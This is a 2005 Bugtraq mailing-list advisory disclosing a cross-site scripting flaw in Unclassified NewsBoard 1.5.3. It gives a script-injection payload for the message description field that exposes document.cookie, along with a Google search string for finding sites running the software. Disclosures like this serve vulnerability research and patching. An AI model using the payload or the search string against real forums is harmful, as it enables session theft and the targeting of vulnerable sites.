[40186] in bugtraq
UNB 1.5.3 cross site scripting
daemon@ATHENA.MIT.EDU (retrogod@aliceposta.it)
Tue Sep 6 19:47:18 2005
Date: 5 Sep 2005 16:28:36 -0000
Message-ID: <20050905162836.999.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: retrogod@aliceposta.it
To: bugtraq@securityfocus.com
UNB 1.5.3 cross site scripting
software: http://newsboard.unclassified.de/
when you post a message try this in description field:
</div><script>alert(document.cookie)</script>
googledork: "Unclassified NewsBoard" inurl:forum.php
rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it
